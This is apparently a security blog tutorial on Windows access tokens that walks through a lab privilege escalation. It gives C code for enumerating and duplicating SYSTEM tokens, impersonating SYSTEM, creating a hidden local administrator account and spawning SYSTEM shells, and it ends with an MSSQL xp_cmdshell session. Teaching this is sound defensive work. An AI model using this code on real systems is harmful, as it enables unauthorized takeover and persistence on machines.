Article logo

Windows Access Tokens & Impersonation

Understanding Windows Access Tokens

Introduction


A while ago I started learning about Windows Internals topics, such as Access Tokens. At that point, I wasn't inspired enough to write an article about it. However, the other day, after compromising an MSSQL Server instance, I came across a SeImpersonatePrivilege exploitation scenario in which I used PrintSpoofer to escalate privileges.


That experience made me realize that many people (my past self included) exploit SeImpersonatePrivilege without really understanding what it means. In this article, we will dive into how Windows access tokens work and how they relate to SeImpersonatePrivilege exploitation.


Also, playing with access tokens can be very useful in scenarios where an EDR is installed, because it allows us to avoid touching LSASS.


Note


This article is inspired by this post written by Aurélien Chalot, which I read several months ago and which helped me better understand Windows access tokens. I also used some code from his impersonate project, specifically the list_tokens.cpp, to demonstrate how to interact with tokens using the Windows API.


Windows Access Tokens


First, let’s talk about what access tokens are and why they play such a crucial role in processes and Windows security.


Broadly speaking, an access token is a data structure that describes the security context of a process (or a thread). In simple terms, it answers questions like: Who am I? and What am I allowed to do? Every time a process tries to access a resource, such as a file, a registry key, or another process, Windows checks its access token to decide whether that action is permitted or not.


Each process running on Windows has an associated access token. This token contains information such as the user account under which the process is running, the groups that user belongs to, and a list of privileges (like SeImpersonatePrivilege, SeDebugPrivilege, etc). You can think of it as an ID card that the process must show whenever it wants to do something sensitive.


Access tokens are usually created by the Windows kernel during the authentication process. When a user logs in, Windows validates their credentials and generates a primary access token representing that user. Any process started by that user will typically inherit a copy of this token. This is why, for example, a process running as a standard user cannot suddenly perform administrative actions without some form of privilege escalation.


It’s also important to note that access tokens are not limited to users. Services, scheduled tasks, and even system components run under their own tokens. Some of these tokens belong to highly privileged accounts like SYSTEM, which explains why compromising a process running under such a context can be extremely powerful.


How they look


Now, let's see a visual representation of an access token:



This is a screenshot of Process Explorer showing the access token information of the notepad.exe process.


As we can see, it describes:


  • The user the token belongs to and its SID
  • The session number (we won’t dive into this just yet)
  • The user’s group memberships
  • The logon session ID, which uniquely identifies the user within the system
  • And the list of privileges associated with the user

This access token of a low-privileged user, let's see how a local administrator token looks like:



As expected, the local administrator token contains a large number of privileges. Each of these privileges allows the user who owns the token to perform specific actions within the system.


You might notice that most of the privileges are disabled. This is because, even if a specific privilege is present in your access token, it does not necessarily mean that you can use it. If a privilege is disabled, you won’t be able to take advantage of it.


However, if a privilege is shown as disabled, it can be enabled using the WinAPI function AdjustTokenPrivileges. Of course, this only works if your access token already includes the specified privilege, otherwise, there’s nothing to enable.


Access Token Types


Great! Now that we understand Access Tokens better, let's talk about the different types of Access Tokens that Windows provides. When we were talking about how access tokens are created, you might have noticed that I highlighted primary access tokens, and actually, that's one of the two types of access tokens that exist.


The nature of these tokens (i.e., the type) depends on the logon type: interactive and non-interactive.


Interactive logon


When talking about interactive logon, we refer to logging in through the Windows LogonUI. For example, when you turn on your computer and the OS loads, Windows prompts you to enter your credentials. This is what we refer to as an interactive logon. This applies when you connect locally to your computer or when connecting through RDP.


The authentication process works as follows:


  1. You provide your credentials to the LogonUI.
  2. These credentials are forwarded to LSASS.
  3. LSASS verifies whether the credentials are correct.
  4. If they are valid, LSASS creates a primary access token that represents the logged-in user. This token is then inherited by every process launched by that user.

This token allows Windows to determine whether the actions performed by processes launched by the user can be carried out with the user’s privileges. In other words, each time a process performs an important action, such as a file write, Windows checks the process’s access token to determine whether the user has sufficient privileges to perform that action.


One interesting aspect of an interactive logon is that when a user logs on interactively, Windows sends the provided credentials to the LSASS process and keeps them in memory to support the Single Sign-On (SSO) mechanism. Thanks to this, after authenticating once, the user can access other resources, such as remote shares or network services, without being asked for credentials again. This approach avoids constant re-authentication prompts and allows Windows to provide a smooth and seamless user experience while handling authentication transparently in the background.


For example, let’s look at what happens when you run a dir command against a remote share from PowerShell using a domain account:



As shown above, I was able to list the C$ share on the ITDC01 machine from another system. In the background, Windows checks the primary token associated with the PowerShell process and verifies whether there are credentials linked to it in the LSASS process. Since the logon was interactive, those credentials were already stored in LSASS and were automatically used to authenticate against the remote service.


The key thing to remember is that Primary Tokens are associated with processes.


Non-interactive logon


On the other hand, we have the non-interactive logon type. This occurs when you connect remotely to a Windows machine, for example when accessing a remote SMB share.


The SMB service runs under the NT AUTHORITY\SYSTEM account because it requires high privileges to operate correctly. However, when a user connects to an SMB share, they do not inherit SYSTEM privileges. Instead, they only operate with the privileges of their own user account.


This behavior is the result of an internal Windows mechanism known as impersonation. When a connection to a remote service such as SMB is established, the service creates a new thread specifically for that user. The security context of this thread is then deliberately downgraded so that it runs with the user’s privileges rather than those of the NT AUTHORITY\SYSTEM account.


To achieve this, the Windows kernel creates an impersonation token (the second type of access token) and associates it with the newly created thread.


This is why the service accounts of services such as MSSQL have the SeImpersonatePrivilege in their access token, which we'll discuss in detail later. Otherwise, when connecting through Windows authentication, the MSSQL service would not be able to impersonate the user’s security context.


For non-interactive logon, credentials are not stored in the LSASS memory as mentioned earlier.


Primary Tokens VS Impersonation Tokens


As explained above, the key difference between Primary Tokens and Impersonation Tokens is that Primary Tokens are associated with processes, while Impersonation Tokens are associated with threads.


If you are not familiar with the difference between processes and threads, here is a simple explanation:


A process is an instance of a program running in the operating system. For example, when you open notepad.exe, the Windows kernel creates a new process with its own virtual memory space and loads the program’s code into it. This process inherits the primary token of your user, which defines its default security context.


A thread is a unit of execution that exists within a process. Threads share the same memory space and resources of the process they belong to, but each thread has its own execution context. Because threads can have their own impersonation token, a single service process (such as SMB running as SYSTEM) can handle multiple client connections simultaneously, each thread operating under the privileges of a different user when necessary.


Practice Scenario


Now that we understand what access tokens are and the different types that exist, let’s look at some examples of how we can interact with tokens, and even abuse them.


First, we’re going to practice in an example scenario to demonstrate how access tokens work and how we can interact with them. Then, using what we learn from this test, we’ll move to a more realistic scenario where things change a bit.


I set up a scenario where we have a user with SeImpersonatePrivilege and SeDebugPrivilege enabled. This could be, for example, a local administrator, but for demonstration purposes I just created a local account with these privileges. You might not know what these privileges are yet, but I’ll explain them along the way.


Strategy


This is our goal: escalate from Claire (the user with the privileges I mentioned earlier) to SYSTEM (NT AUTHORITY\SYSTEM, the highest privilege level on Windows).


Now, let’s walk through the attack at a high level.


First, we’ll abuse Claire’s privileges to enumerate all access tokens on the system across running processes. Then, we’ll inspect the privileges of those tokens, looking specifically for one that belongs to SYSTEM. Once we find it, we’ll duplicate that token and use SeImpersonatePrivilege to impersonate it.


At that point, our code will be running in a SYSTEM security context, allowing us to perform actions with maximum privileges.


It is okay if you don't understand it at all, we'll explain each step along the way.


Exploitation 1 - Listing all access tokens


First, let's check our current user privileges:



As I mentioned earlier, this user has both SeImpersonatePrivilege and SeDebugPrivilege. They’re enabled, but sometimes they might show up as disabled. If that happens, it’s not over. You can still enable them using the AdjustTokenPrivileges function we talked about earlier.


Now, we have to list all tokens in the system. To retrieve every token, we can use the NtQuerySystemInformation WinAPI function. Essentially, this function can be used to return every handle available in the system, including process handles, file handles, and token handles, which are what we’re looking for.


The core of this step is the following call:


NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnLenght);

While this function takes four parameters, the most important ones for our use case are the first two, since they define what we are querying and where the results will be stored.


SystemHandleInformation (first parameter, the most important one)


This parameter tells NtQuerySystemInformation what kind of system data we want to retrieve.


By passing SystemHandleInformation, we’re asking Windows to give us a snapshot of all handles opened on the system, across all processes. This includes handles to files, processes, threads, and most importantly for us, access tokens as mentioned earlier.


This is the key piece that allows us to enumerate tokens belonging to other processes, including those running as SYSTEM.


At this point, NtQuerySystemInformation has given us a structure that contains every handle currently opened on the system. The handleTableInformation buffer works like a big table where each entry represents a handle owned by some process.


Because of that, enumerating them is straightforward: we can simply iterate over the table using a basic for loop and inspect each handle one by one.


for (DWORD i = 0; i < handleTableInformation->NumberOfHandles; i++) {
        SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i];
}

Now that we can walk through all system handles, the next step is to check whether we can access the process that owns each handle. This is an important requirement: in order to manipulate a handle (for example, duplicate it), we must first have access to the process that created it.


To open processes that we don’t own, Windows requires a specific privilege: SeDebugPrivilege. Since our user already has this privilege (and we made sure it’s enabled earlier using AdjustTokenPrivileges), we’re allowed to open those processes.


Here’s the code used to open the target process and duplicate the handle:


HANDLE process = OpenProcess(PROCESS_DUP_HANDLE, FALSE, handleInfo.ProcessId);
if (process == INVALID_HANDLE_VALUE) {
    CloseHandle(process);
    continue;
}

DuplicateHandle(
    process,
    (HANDLE)handleInfo.HandleValue,
    GetCurrentProcess(),
    &dupHandle,
    0,
    FALSE,
    DUPLICATE_SAME_ACCESS
);

At this point, dupHandle is a copy of the original handle, but now owned by our own process, which means we can safely work with it.


However, there’s still one missing piece: we don’t yet know what kind of Windows object this handle actually refers to. It could be a file, a process, a thread, or a token. To figure that out, we need to query the object type manually.


This is where NtQueryObject comes into play. This function allows us to retrieve information about a handle, including the type of object it represents, returned as a string.


LPWSTR GetObjectInfo(HANDLE hObject, OBJECT_INFORMATION_CLASS objInfoClass) {
    LPWSTR data = NULL;
    DWORD dwSize = sizeof(OBJECT_NAME_INFORMATION);
    POBJECT_NAME_INFORMATION pObjectInfo =
        (POBJECT_NAME_INFORMATION)malloc(dwSize);

    NTSTATUS ntReturn = NtQueryObject(
        hObject,
        objInfoClass,
        pObjectInfo,
        dwSize,
        &dwSize
    );

    if ((ntReturn == STATUS_BUFFER_OVERFLOW) ||
        (ntReturn == STATUS_INFO_LENGTH_MISMATCH)) {
        pObjectInfo =
            (POBJECT_NAME_INFORMATION)realloc(pObjectInfo, dwSize);
        ntReturn = NtQueryObject(
            hObject,
            objInfoClass,
            pObjectInfo,
            dwSize,
            &dwSize
        );
    }

    if ((ntReturn >= STATUS_SUCCESS) && (pObjectInfo->Buffer != NULL)) {
        data = (LPWSTR)calloc(pObjectInfo->Length, sizeof(WCHAR));
        CopyMemory(data, pObjectInfo->Buffer, pObjectInfo->Length);
    }

    free(pObjectInfo);
    return data;
}

If you’re wondering why there are multiple comparisons on the return value of NtQueryObject, it’s because this function often returns errors like STATUS_INFO_LENGTH_MISMATCH. When that happens, it means the buffer we provided is too small, so we need to reallocate memory with the correct size and try again.


Anyway, using this function, GetObjectInfo, we can filter out everything that is not a token, and focus only on token handles. For example, we can use the following check to determine whether the dupHandle points to a Token or not:


if (wcscmp(GetObjectInfo(dupHandle, ObjectTypeInformation), L"Token")) {
    CloseHandle(process);
    CloseHandle(dupHandle);
    continue;
}

Basically, this is a comparison where wcscmp returns a value different from 0 if the strings are not equal. In that case, we just skip this handle and continue with the next one in handleTableInformation.


Once we’ve identified token handles, the final step is to inspect them more closely and check whether the token is a primary token or an impersonation token, who created it, and which user it belongs to. For this, we rely on GetTokenInformation.


BOOL GetTokenInformation(
    HANDLE                  TokenHandle,
    TOKEN_INFORMATION_CLASS TokenInformationClass,
    LPVOID                  TokenInformation,
    DWORD                   TokenInformationLength,
    PDWORD                  ReturnLength
);

For example, if we want to retrieve the owner of a token, we can query it like this:


GetTokenInformation(
    dupHandle,
    TokenOwner,
    TokenStatisticsInformation,
    token_info,
    &token_info
);

By combining all these steps, enumerating handles, duplicating them, identifying token objects, and inspecting their properties, we can eventually locate a SYSTEM token that’s suitable for impersonation and move forward with the privilege escalation.


This tool is great because it retrieves all tokens in the system along with useful information. However, since our goal is simply to escalate to SYSTEM, I’ll tweak it to just spawn a cmd running as SYSTEM.


First, we must check the Token Integrity Level, since it helps us determine whether a token is likely to belong to SYSTEM or not.


But what exactly is an Integrity Level?


Integrity Levels are part of Windows Mandatory Integrity Control (MIC). They define how much trust Windows places in a process or token, and they’re used to restrict what actions that process is allowed to perform. In simple terms, the higher the integrity level, the more powerful the token is.


Windows mainly works with four integrity levels:


Low Integrity: This is the most restricted level. Processes running with Low integrity have very limited access to system resources and can’t interact with higher-integrity processes.


Medium Integrity: This is the default integrity level for standard user accounts. Most user applications run at this level.


High Integrity: High integrity tokens are used by administrative processes. If you run a program “as administrator,” it will usually execute with a High integrity token.


System Integrity: This is the highest integrity level. Tokens running at System integrity belong to NT AUTHORITY\SYSTEM and have full control over the operating system.


The last one is which we're looking for. To determine the integrity level of our Token, we can use GetTokenInformation, as said earlier, it allows to retrieve information about an specific token. To do so, I created the following function:


bool is_system_integrity_level(HANDLE dupHandle) {

    DWORD rtLength;
    GetTokenInformation(dupHandle, TokenIntegrityLevel, NULL, 0, &rtLength);
    PTOKEN_MANDATORY_LABEL tInformation = (PTOKEN_MANDATORY_LABEL)malloc(rtLength);
    if (!tInformation) {
        printf("Memory allocation error");
        return FALSE;
    }
    GetTokenInformation(dupHandle, TokenIntegrityLevel, tInformation, rtLength, &rtLength);
    DWORD SIL = (DWORD)*GetSidSubAuthority(tInformation->Label.Sid, (DWORD)(UCHAR)(*GetSidSubAuthorityCount(tInformation->Label.Sid) - 1));
    free(tInformation);
    return SIL >= SECURITY_MANDATORY_SYSTEM_RID;
}

This function simply checks whether a given token is running at System integrity level.


First, it uses GetTokenInformation with the TokenIntegrityLevel flag to retrieve the integrity information associated with the token. Since we don’t know the required buffer size beforehand, the function is called once to get the correct size, memory is allocated, and then it’s called again to actually retrieve the data.


The key part happens when we extract the RID (Relative Identifier) from the token’s SID. This value represents the token’s integrity level. If the RID is greater than or equal to SECURITY_MANDATORY_SYSTEM_RID, we know the token belongs to SYSTEM (or higher), which is exactly what we’re looking for.


If that condition is met, the function returns true, otherwise, it returns false.


Alright, what’s next? Now we need to determine whether the token is a Primary token or an Impersonation token.


In most scenarios, this doesn’t really matter. Even if the token is an impersonation token, you can usually convert it into a primary one if your goal is to create a new process. Still, it’s useful to know how to identify the token type, so I’ll show you how to do that.


For this, I created another helper function:


bool isPrimaryToken(HANDLE dupHandle) {

    DWORD rtLength;
    GetTokenInformation(dupHandle, TokenStatistics, NULL, 0, &rtLength);
    PTOKEN_STATISTICS tInformation = (PTOKEN_STATISTICS)malloc(rtLength);
    if (!tInformation) {
        printf("Memory allocation error");
        return FALSE;
    }
    GetTokenInformation(dupHandle, TokenStatistics, tInformation, rtLength, &rtLength);
    bool result = tInformation->TokenType == TokenPrimary;
    free(tInformation);
    return result;
}

This helper function checks whether a duplicated token is a Primary token or not.


It uses GetTokenInformation with the TokenStatistics flag to retrieve general information about the token. Just like before, the function is called twice: first to obtain the required buffer size, and then again to actually fetch the data.


The key part is the TokenType field inside the TOKEN_STATISTICS structure. If its value is TokenPrimary, the function returns true, meaning the token can be used directly to create a new process. Otherwise, it’s an impersonation token, and the function returns false.


Another important thing to keep in mind about impersonation tokens is that they can have different impersonation levels, and those levels directly affect whether we’re actually allowed to use the token for impersonation or not.


  • SecurityAnonymous: The server can’t identify the client at all. No impersonation is possible. Commonly associated with Anonymous authentication.
  • SecurityIdentification The server knows who the client is, but can’t act as them.
  • SecurityImpersonation The server can fully impersonate the client on the local machine. This is the most commonly useful level.
  • SecurityDelegation The server can impersonate the client locally and on remote systems.

In case we have an impersonation token, we want an impersonation level equal to or higher than SecurityImpersonation, since the other ones (SecurityIdentification and SecurityAnonymous) won’t actually allow us to impersonate the user associated with the token.


Here's a function to determine the Impersonation Level of a token:


bool isImpersonationLevel(HANDLE dupHandle) {

    DWORD rtLength;
    GetTokenInformation(dupHandle, TokenImpersonationLevel, NULL, 0, &rtLength);
    PSECURITY_IMPERSONATION_LEVEL tInformation = (PSECURITY_IMPERSONATION_LEVEL)malloc(rtLength);
    if (!tInformation) {
        printf("Memory allocation error");
        return FALSE;
    }
    GetTokenInformation(dupHandle, TokenImpersonationLevel, tInformation, rtLength, &rtLength);
    bool result = *tInformation >= SecurityImpersonation);
    free(tInformation);
    return result;
}

It queries the token to retrieve its impersonation level and then compares it against SecurityImpersonation. If the level is SecurityImpersonation or higher, the function returns true, otherwise, it returns false. Here is the code containing all the previous functions, so you can follow along while making modifications.


Now, let's combine all these functions to obtain a valid token:


// If not a system access token we don't want it
if (is_system_integrity_level(dupHandle) && (isPrimaryToken(dupHandle) || isImpersonationLevel(dupHandle))) {
    printf("VALID TOKEN!!!\n");
}
else {
    printf("Access token no valid for SYSTEM impersonation\n");
    CloseHandle(process);
    CloseHandle(dupHandle);
    continue;
}

First, it verifies that the token belongs to the SYSTEM integrity level. Then, it checks that the token is either a primary token or an impersonation token with a valid impersonation level. If either of those conditions is met, the token can be used for impersonation.


If the token doesn’t meet these requirements, it’s discarded and the code moves on to the next one.


Something I want to highlight is that the first tokens in the list that meet the SYSTEM integrity level usually also satisfy the other requirements. However, that’s not guaranteed for the tokens that come later, which is why it’s still a good idea to perform all the checks. For this case we just need one valid.


Now that we can obtain a valid token, let's abuse it!


Up to this point, we’ve been working with a token that belongs to another process. While we can inspect it and query information from it, using it directly is not ideal. Duplicating the token gives us our own copy, which we can safely manipulate and use for impersonation or other actions without depending on the original process.


Windows provides the DuplicateTokenEx function, which is very useful for us. This function allows us to create a new token based on an existing one, while also letting us specify things like the token type, impersonation level, and access rights. This is exactly what we need to turn a token that belongs to another process into one we can safely use for impersonation or further abuse.


Moreover, this function allows you to turn an impersonation token into a primary token, which is useful when creating a new process as the impersonated user.


HANDLE systemToken;

if (!DuplicateTokenEx(dupHandle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &systemToken)) {
    CloseHandle(dupHandle);
    CloseHandle(process);
    continue;
}

In this snippet, DuplicateTokenEx is used to duplicate the original token (dupHandle) and explicitly convert it into a primary token with an impersonation level of SecurityImpersonation (which is irrelevant for Primary Tokens). If the call succeeds, the new token is stored in the systemToken handle, which can later be used to create a new process running as the impersonated user.


If the duplication fails, the code simply cleans up and moves on.


Now that we have a duplicated token, let's see how to use it. There are many ways you can use this token. For example, we can use the ImpersonateLoggedOnUser function. This function allows us to specify a token, which the current thread will then use to act as the user associated with that token. In other words, any actions performed by the thread after calling this function will be executed with the permissions of the impersonated user. This is where SeImpersonatePrivilege comes into play, as it’s required for this function to work.


BOOL ImpersonateLoggedOnUser( [in] HANDLE hToken );

The hToken can be an impersonation token with an impersonation level of at least SecurityImpersonation. However, since we have a primary token, it works just as well.


Now, let's check if this actually works. We can call ImpersonateLoggedOnUser and then check our current username. If we successfully impersonated SYSTEM, that should be the name that gets displayed.


ImpersonateLoggedOnUser(systemToken);
wchar_t username[UNLEN + 1];
DWORD size = UNLEN + 1;
GetUserNameW(username, &size);
printf("[+] Impersonated: %ws\n", username);

Now, let's run our program:



Awesome! It worked, we’ve successfully impersonated SYSTEM.


Now, every action we perform with this token will run with SYSTEM privileges. If needed, you can switch back to your previous token using the RevertToSelf() function. But that’s not what we’re after, so let’s see how we can abuse this SYSTEM token.


For example, we could create a local user and add it to the local Administrators group. To do this, we can rely on the WinAPI by combining NetUserAdd (to create a new user) and NetLocalGroupAddMembers (to add the user to a group).


This is an example of how we can do this:


// Create local user
wchar_t newUser[] = L"b4ckup";
USER_INFO_1 ui = { 0 };
ui.usri1_name = newUser;
ui.usri1_password = (LPWSTR)L"P4ssw0rd123!";
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_flags = UF_SCRIPT;

NET_API_STATUS status = NetUserAdd(NULL, 1, (LPBYTE)&ui, NULL);

if (status != NERR_Success) {
    printf("[-] User %ws was not created\n", newUser); 
    CloseHandle(process);
    CloseHandle(dupHandle);
    CloseHandle(systemToken);
    break;
}

printf("[+] User %ws added successfully\n", newUser); 

// Add to local administrators group
LOCALGROUP_MEMBERS_INFO_3 member;
member.lgrmi3_domainandname = newUser;

status = NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&member, 1);

if (status == NERR_Success) {
    printf("[+] User successfully added to Administrators local group\n");
}
else {
    printf("[-] Something went wrong!\n");
}

Now, if we’ve successfully impersonated SYSTEM, this should work. Let’s see:



It looks like it worked. Let’s run net user:



GREAT! It worked. We’ve successfully impersonated SYSTEM and added a new user to the local Administrators group.


Now, you can use many other WinAPI functions to take advantage of the SYSTEM impersonation. Also, if this were an Active Directory scenario where we impersonate a domain user token, we could use the same API functions to add new users to the domain (as long as the impersonated user has the required privileges), effectively abusing the domain. I won’t go into detail on this now, since we’ll show a scenario like this later in the second scenario.


Getting a Shell


You may be wondering: now that we’ve impersonated SYSTEM, how can we get a shell, for example a cmd.exe running with its privileges? Well, it’s actually not as easy as just creating a new process with CreateProcessW, for example. This is because, as Microsoft states:


If the calling process is impersonating another user, the new process uses the token for the calling process, not the impersonation token. To run the new process in the security context of the user represented by the impersonation token, use the CreateProcessAsUserA function or CreateProcessWithLogonW function.


As it says, even if we impersonate the SYSTEM token using ImpersonateLoggedOnUser, any new process we create will still run under our original token. However, the documentation suggests that we can use CreateProcessAsUserW or CreateProcessWithTokenW functions, which indeed, allows us to provide a token we want.


CreateProcessAsUser


The first one is CreateProcessAsUserW. This API lets us create a new process using a token that we explicitly provide, meaning the process will run in the security context represented by that token, not under our original one. This is exactly what we want after getting hold of a SYSTEM token.


BOOL CreateProcessAsUserW(
  [in, optional]      HANDLE                hToken,
  [in, optional]      LPCWSTR               lpApplicationName,
  [in, out, optional] LPWSTR                lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCWSTR               lpCurrentDirectory,
  [in]                LPSTARTUPINFOW        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);

There are a few requirements, though. The token we pass must be a primary token and it needs the appropriate access rights. On top of that, the calling process usually needs the SeIncreaseQuotaPrivilege, and in some cases SeAssignPrimaryTokenPrivilege as well. According to the documentation, Windows will try to enable these privileges automatically for the duration of the call, but if they’re not present, the function will simply fail. In short, CreateProcessAsUserA is the “classic” and most strict way of spawning a process under another user’s context.


CreateProcessWithTokenW


The second option is CreateProcessWithTokenW. This function serves a very similar purpose, but with slightly different requirements. Instead of needing quota or primary token assignment privileges, it requires the caller to have the SeImpersonatePrivilege, which is our case. This function also requires a PrimaryToken.


BOOL CreateProcessWithTokenW(
  [in]                HANDLE                hToken,
  [in]                DWORD                 dwLogonFlags,
  [in, optional]      LPCWSTR               lpApplicationName,
  [in, out, optional] LPWSTR                lpCommandLine,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCWSTR               lpCurrentDirectory,
  [in]                LPSTARTUPINFOW        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);

CreateProcessWithTokenW also allows us to control some logon-related behavior, such as whether the user’s profile should be loaded, but it doesn’t give us the same level of control over the session as CreateProcessAsUserA.


As mentioned earlier, CreateProcessAsUser requires more privileges than CreateProcessWithTokenW. That’s not an issue here since we’ve already impersonated SYSTEM.


That said, CreateProcessWithTokenW is simpler to use than CreateProcessAsUser, which I’ll cover later in the second practice scenario, as it can be more useful when impersonating users other than SYSTEM.


Here's the code you can use to create open a new cmd.exe using CreateProcessWithTokenW:


HANDLE systemToken;

if (!DuplicateTokenEx(dupHandle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &systemToken)) {
    CloseHandle(dupHandle);
    CloseHandle(process);
    continue;
}

STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};

if (!CreateProcessWithTokenW(systemToken, NULL, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &si, &pi)) {
    printf("[-] An error ocurred while creating new process"); 
}
else {
    printf("[+] Success, enjoy your system shell"); 
}

Now, let's run our code:



Great! It worked, we've successfully obtained a shell as system. Even though we've successfully impersonated SYSTEM, this has not all privileges:



This behavior is actually expected. Even though we’re running a shell as SYSTEM, the token we get does not necessarily include all possible SYSTEM privileges.


When a token is created, Windows doesn’t blindly assign every privilege available to that account. Instead, the token is built based on how it was obtained and which privileges were present and enabled in the original context. In our case, the SYSTEM token comes from an impersonation and process-creation flow, not from a full interactive logon, so some privileges are simply not included or remain disabled.


Additionally, Windows applies the principle of least privilege even to high-privileged accounts. Certain sensitive privileges are only added or enabled when they are explicitly required by the process or granted by the system at logon time. As a result, two SYSTEM tokens can look different depending on how they were created.


That said, this is usually not a problem. Even with a reduced set of privileges, a SYSTEM shell is still powerful enough to perform most actions we care about, including service manipulation, token operations, and further privilege escalation if needed. These privileges are enough for us from an attacker perspective.


CreateProcessAsUser


Now, you may be wondering how we can achieve the same result using the other function, CreateProcessAsUser. As mentioned earlier, this function requires a bit more setup before we can use it.


For example, we need to explicitly specify the Session ID by modifying the token with SetTokenInformation. If we don’t do this, we won’t see the new cmd.exe window pop up. This happens because Windows usually associates the new process with the Session ID stored in the token, which for SYSTEM is, in most cases, session 0.


On top of that, we also need to configure part of the environment for the new process. Once all of this is in place, we can finally spawn the process as expected. Here’s how we can do it:


HANDLE systemToken;
if (!DuplicateTokenEx(dupHandle, TOKEN_ALL_ACCESS, NULL,
    SecurityImpersonation, TokenPrimary, &systemToken)) {
    CloseHandle(dupHandle);
    CloseHandle(process);
    continue;
}

// Initialize startup info for new process
PROCESS_INFORMATION pi = { 0 };
STARTUPINFO si = { 0 };
si.lpDesktop = (LPWSTR)L"Winsta0\\Default";

// Impersonate user and enable required privileges
ImpersonateLoggedOnUser(systemToken);

if (!enablePrivilege(systemToken, SE_TCB_NAME)) {
    printf("\t[-] Could not enable %ws\n", SE_TCB_NAME);
}
if (!enablePrivilege(systemToken, SE_ASSIGNPRIMARYTOKEN_NAME)) {
    printf("\t[-] Could not enable %ws\n", SE_ASSIGNPRIMARYTOKEN_NAME);
}
if (!enablePrivilege(systemToken, SE_INCREASE_QUOTA_NAME)) {
    printf("\t[-] Could not enable %ws\n", SE_INCREASE_QUOTA_NAME);
}

// Set token session ID
DWORD currentSessionID = WTSGetActiveConsoleSessionId();
if (!SetTokenInformation(systemToken, TokenSessionId,
    &currentSessionID, sizeof(DWORD))) {
    printf("[!] SetTokenInformation failed: %d\n", GetLastError());
    CloseHandle(systemToken);
    CloseHandle(dupHandle);
    CloseHandle(process);
    continue;
}

// Re-impersonate to update token and create environment block 
ImpersonateLoggedOnUser(systemToken);

HANDLE hEnvironment = NULL;
if (!CreateEnvironmentBlock(&hEnvironment, systemToken, FALSE)) {
    printf("[!] CreateEnvironmentBlock failed: %d\n", GetLastError());
}

// Launch process as user
DWORD createFlags = CREATE_UNICODE_ENVIRONMENT | CREATE_NEW_CONSOLE;
if (!CreateProcessAsUserW(systemToken, L"C:\\Windows\\System32\\cmd.exe",
    NULL, NULL, NULL, FALSE, createFlags,
    hEnvironment, NULL, &si, &pi)) {
    printf("[!] CreateProcessAsUser failed: %d\n", GetLastError());
}
else {
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
}

At a high level, this code follows the same initial steps we’ve already seen: we duplicate a SYSTEM token and convert it into a primary token using DuplicateTokenEx. Since this part is identical to the previous scenarios, we won’t go into much detail here.


Where things start to differ is in the extra preparation required by CreateProcessAsUser.


First, we impersonate the token and explicitly enable the privileges required by CreateProcessAsUser, namely SeAssignPrimaryTokenPrivilege and SeIncreaseQuotaPrivilege. Without these privileges enabled, the function will fail, even if the token belongs to SYSTEM.


Next comes one of the most important steps: changing the Session ID of the token. By default, SYSTEM tokens are usually associated with session 0, which means any GUI process created with that token won’t be visible to the current user. To fix this, we retrieve the active console session using WTSGetActiveConsoleSessionId and update the token with SetTokenInformation.


According to Microsoft’s documentation, modifying the Session ID of a token requires the “Act as part of the operating system” privilege, also known as SeTcbPrivilege. This is a highly sensitive privilege and one of the reasons why this approach only works in very privileged contexts. In our case, we’re SYSTEM already, so this isn’t a problem at all.


After updating the Session ID, we impersonate the token again to ensure the changes take effect, and then we build a proper environment block for the new process using CreateEnvironmentBlock. This step is important so the spawned process gets a valid environment (paths, variables, etc.) instead of inheriting a broken or empty one.


Finally, with everything set up, we call CreateProcessAsUserW to spawn cmd.exe, passing the prepared token, the environment block, and the appropriate creation flags.


Now, let's run our program:



As we can see, it worked and we successfully obtained a shell as SYSTEM. However, as shown in the output, the program had to iterate through multiple tokens before finding a suitable one.


This happens because, as mentioned earlier, even if a token belongs to SYSTEM, it doesn’t necessarily mean it has every privilege. In this case, we needed SeTcbPrivilege, SeAssignPrimaryTokenPrivilege, and SeIncreaseQuotaPrivilege, and not every SYSTEM token includes all of them. Now, we have a really juicy token:



Scenario 2


Now that we know how to use Access Tokens, let's jump to the second scenario. In this case, we'll assume we obtained valid credentials for a DB admin in a MSSQL Instance, which means we can use commands such as xp_cmdshell to execute commands in the system.


Let's connect to the MSSQL Instance and enable xp_cmdshell:


elswix@ubuntu$ mssqlclient.py it.elswixcorp.local/developer:Password2\!@192.168.100.31 -windows-auth
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ITWS02): Line 1: Changed database context to 'master'.
[*] INFO(ITWS02): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (170 3232) 
[!] Press help for extra shell commands
SQL (IT-ELSWIXCORP\developer  dbo@master)> enable_xp_cmdshell
INFO(ITWS02): Line 196: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
INFO(ITWS02): Line 196: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL (IT-ELSWIXCORP\developer  dbo@master)>

It looks like it worked. Now let's execute a command in the system:


SQL (IT-ELSWIXCORP\developer  dbo@master)> xp_cmdshell whoami 
output                 
--------------------   
it-elswixcorp\sqlsvc   

NULL                   

